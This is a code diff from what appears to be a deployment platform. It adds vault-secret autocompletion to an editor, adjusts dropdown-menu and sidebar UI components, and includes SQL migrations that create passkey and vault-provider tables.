const vaultSecret = /^vault\.([a-zA-Z0-9_-]+)\.([^}\n]*)$/.exec(inner);
if (vaultSecret) {
const provider = providers?.find((p) => p.name === vaultSecret[1]);
if (!provider || !projectId) return null;
const names = await utils.vaultProvider.listSecretNames
.fetch({
vaultProviderId: provider.vaultProviderId,
projectId,
environmentId,
})
.catch(() => [] as string[]);
return {
from: innerFrom + `vault.${vaultSecret[1]}.`.length,
options: names.map((name) => ({
label: name,
type: "variable",
apply: applyAndClose,
})),
validFor: /^[^}\n]*$/,
};
}
const vaultProviderPrefix = /^vault\.([a-zA-Z0-9_-]*)$/.exec(inner);
if (vaultProviderPrefix) {
return {
from: innerFrom + "vault.".length,
options: (providers ?? []).map((provider) => ({
label: `${provider.name}.`,
detail: provider.providerType,
type: "namespace",
apply: applyAndContinue,
})),
validFor: /^[a-zA-Z0-9_-]*$/,
};
}
if (includeShared) {
const shared: [RegExp, string, string | null | undefined][] = [
[/^project\.([^}\n]*)$/, "project.", projectEnv],
[/^environment\.([^}\n]*)$/, "environment.", environmentEnv],
];
for (const [regex, prefix, env] of shared) {
if (regex.test(inner)) {
return {
from: innerFrom + prefix.length,
options: parseKeys(env).map((key) => ({
label: key,
type: "variable",
apply: applyAndClose,
})),
validFor: /^[A-Za-z0-9_]*$/,
};
}
}
}
if (!inner.includes(".")) {
const options: Completion[] = [];
if (includeShared) {
options.push(
{
label: "project.",
type: "namespace",
info: "Shared project variables",
apply: applyAndContinue,
},
{
label: "environment.",
type: "namespace",
info: "Shared environment variables",
apply: applyAndContinue,
},
);
}
options.push({
label: "vault.",
type: "namespace",
info: "Secrets from an external vault provider",
apply: applyAndContinue,
});
if (includeShared) {
for (const key of parseKeys(context.state.doc.toString())) {
options.push({
label: key,
type: "variable",
apply: applyAndClose,
});
}
}
return {
from: innerFrom,
options,
validFor: /^[A-Za-z0-9_.-]*$/,
};
}
return null;
},
[
providers,
projectEnv,
environmentEnv,
includeShared,
projectId,
environmentId,
utils,
],
);
};
+1 -1
View File
@@ -5,7 +5,7 @@ import type * as React from "react";
import { cn } from "@/lib/utils";
const badgeVariants = cva(
"group/badge inline-flex w-fit shrink-0 items-center justify-center gap-1 overflow-hidden rounded-4xl border border-transparent px-2.5 py-0.5 text-xs font-medium whitespace-nowrap transition-all focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50 has-data-[icon=inline-end]:pr-1.5 has-data-[icon=inline-start]:pl-1.5 aria-invalid:border-destructive aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 [&>svg]:pointer-events-none [&>svg]:size-3!",
"group/badge inline-flex w-fit shrink-0 items-center justify-center gap-1 overflow-hidden rounded-4xl border border-transparent px-2.5 py-0.5 text-xs font-medium whitespace-nowrap transition-all focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50 has-data-[icon=inline-end]:pr-1.5 has-data-[icon=inline-start]:pl-1.5 aria-invalid:border-destructive aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 [&>svg:not(.cursor-pointer)]:pointer-events-none [&>svg]:size-3!",
{
variants: {
variant: {
+20 -4
View File
@@ -1,21 +1,37 @@
import { CheckIcon, ChevronRightIcon } from "lucide-react";
import { DropdownMenu as DropdownMenuPrimitive } from "radix-ui";
import type * as React from "react";
import * as React from "react";
import { markNestedPopupClosed } from "@/components/ui/nested-popup-context";
import { cn } from "@/lib/utils";
function DropdownMenu({
open,
defaultOpen,
onOpenChange,
...props
}: React.ComponentProps<typeof DropdownMenuPrimitive.Root>) {
const [uncontrolledOpen, setUncontrolledOpen] = React.useState(
defaultOpen ?? false,
);
const isControlled = open !== undefined;
const isOpen = isControlled ? open : uncontrolledOpen;
return (
<DropdownMenuPrimitive.Root
data-slot="dropdown-menu"
onOpenChange={(open) => {
if (!open) {
open={isOpen}
onOpenChange={(nextOpen) => {
// Radix closes menus on window blur, unmounting any dialog rendered inside
if (!nextOpen && !document.hasFocus()) {
return;
}
if (!isControlled) {
setUncontrolledOpen(nextOpen);
}
if (!nextOpen) {
markNestedPopupClosed();
}
onOpenChange?.(open);
onOpenChange?.(nextOpen);
}}
{...props}
/>
+3
View File
@@ -1,3 +1,4 @@
import type { CompletionSource } from "@codemirror/autocomplete";
import { EyeIcon, EyeOffIcon } from "lucide-react";
import { type CSSProperties, type ReactNode, useState } from "react";
import { useFormContext } from "react-hook-form";
@@ -21,6 +22,7 @@ interface Props {
title: string;
description: ReactNode;
placeholder: string;
completionSource?: CompletionSource;
}
export const Secrets = (props: Props) => {
@@ -61,6 +63,7 @@ export const Secrets = (props: Props) => {
} as CSSProperties
}
language="properties"
completionSource={props.completionSource}
disabled={isVisible}
lineWrapping
placeholder={props.placeholder}
+3 -3
View File
@@ -464,7 +464,7 @@ function SidebarMenuItem({ className, ...props }: React.ComponentProps<"li">) {
}
const sidebarMenuButtonVariants = cva(
"peer/menu-button group/menu-button flex w-full items-center gap-2 overflow-hidden rounded-md p-2 text-left text-sm ring-sidebar-ring outline-hidden transition-[width,height,padding] group-has-data-[sidebar=menu-action]/menu-item:pr-8 group-data-[collapsible=icon]:size-8! group-data-[collapsible=icon]:p-2! hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 active:bg-sidebar-accent active:text-sidebar-accent-foreground disabled:pointer-events-none disabled:opacity-50 aria-disabled:pointer-events-none aria-disabled:opacity-50 data-open:hover:bg-sidebar-accent data-open:hover:text-sidebar-accent-foreground data-active:bg-sidebar-accent data-active:font-medium data-active:text-sidebar-accent-foreground [&_svg]:size-4 [&_svg]:shrink-0 [&>span:last-child]:truncate",
"peer/menu-button group/menu-button flex w-full items-center gap-2 overflow-hidden rounded-md p-2 text-left text-sm ring-sidebar-ring outline-hidden transition-[width,height,padding] group-has-data-[sidebar=menu-action]/menu-item:pr-8 group-data-[collapsible=icon]:size-8! hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 active:bg-sidebar-accent active:text-sidebar-accent-foreground disabled:pointer-events-none disabled:opacity-50 aria-disabled:pointer-events-none aria-disabled:opacity-50 data-open:hover:bg-sidebar-accent data-open:hover:text-sidebar-accent-foreground data-active:bg-sidebar-accent data-active:font-medium data-active:text-sidebar-accent-foreground [&_svg]:size-4 [&_svg]:shrink-0 [&>span:last-child]:truncate",
{
variants: {
variant: {
@@ -473,8 +473,8 @@ const sidebarMenuButtonVariants = cva(
"bg-background shadow-[0_0_0_1px_var(--sidebar-border)] hover:bg-sidebar-accent hover:text-sidebar-accent-foreground hover:shadow-[0_0_0_1px_var(--sidebar-accent)]",
},
size: {
default: "h-8 text-sm",
sm: "h-7 text-xs",
default: "h-8 text-sm group-data-[collapsible=icon]:p-2!",
sm: "h-7 text-xs group-data-[collapsible=icon]:p-2!",
lg: "h-12 text-sm group-data-[collapsible=icon]:p-0!",
},
},
@@ -0,0 +1 @@
ALTER TABLE "compose" ADD COLUMN "icon" text;
@@ -0,0 +1,17 @@
CREATE TABLE "passkey" (
"id" text PRIMARY KEY NOT NULL,
"name" text,
"public_key" text NOT NULL,
"user_id" text NOT NULL,
"credential_id" text NOT NULL,
"counter" integer NOT NULL,
"device_type" text NOT NULL,
"backed_up" boolean NOT NULL,
"transports" text,
"created_at" timestamp,
"aaguid" text
);
--> statement-breakpoint
ALTER TABLE "passkey" ADD CONSTRAINT "passkey_user_id_user_id_fk" FOREIGN KEY ("user_id") REFERENCES "public"."user"("id") ON DELETE cascade ON UPDATE no action;--> statement-breakpoint
CREATE INDEX "passkey_userId_idx" ON "passkey" USING btree ("user_id");--> statement-breakpoint
CREATE INDEX "passkey_credentialID_idx" ON "passkey" USING btree ("credential_id");
@@ -0,0 +1 @@
ALTER TABLE "network" ADD COLUMN "mtu" integer;
@@ -0,0 +1 @@
ALTER TABLE "github" ADD COLUMN "githubUrl" text DEFAULT 'https://github.com' NOT NULL;
@@ -0,0 +1 @@
ALTER TABLE "compose" ADD COLUMN "createEnvFile" boolean DEFAULT true NOT NULL;
@@ -0,0 +1,13 @@
CREATE TYPE "public"."VaultProviderType" AS ENUM('hashicorp', 'infisical', 'aws', 'doppler', 'azure');--> statement-breakpoint
CREATE TABLE "vault_provider" (
"vaultProviderId" text PRIMARY KEY NOT NULL,
"name" text NOT NULL,
"providerType" "VaultProviderType" NOT NULL,
"config" jsonb NOT NULL,
"assignments" jsonb DEFAULT '[]'::jsonb NOT NULL,
"organizationId" text NOT NULL,
"createdAt" text NOT NULL
);
--> statement-breakpoint
ALTER TABLE "vault_provider" ADD CONSTRAINT "vault_provider_organizationId_organization_id_fk" FOREIGN KEY ("organizationId") REFERENCES "public"."organization"("id") ON DELETE cascade ON UPDATE no action;--> statement-breakpoint
CREATE UNIQUE INDEX "vault_provider_org_name_idx" ON "vault_provider" USING btree ("organizationId","name");
File diff suppressed because it is too large Load Diff

Some files were not shown because too many files have changed in this diff Show More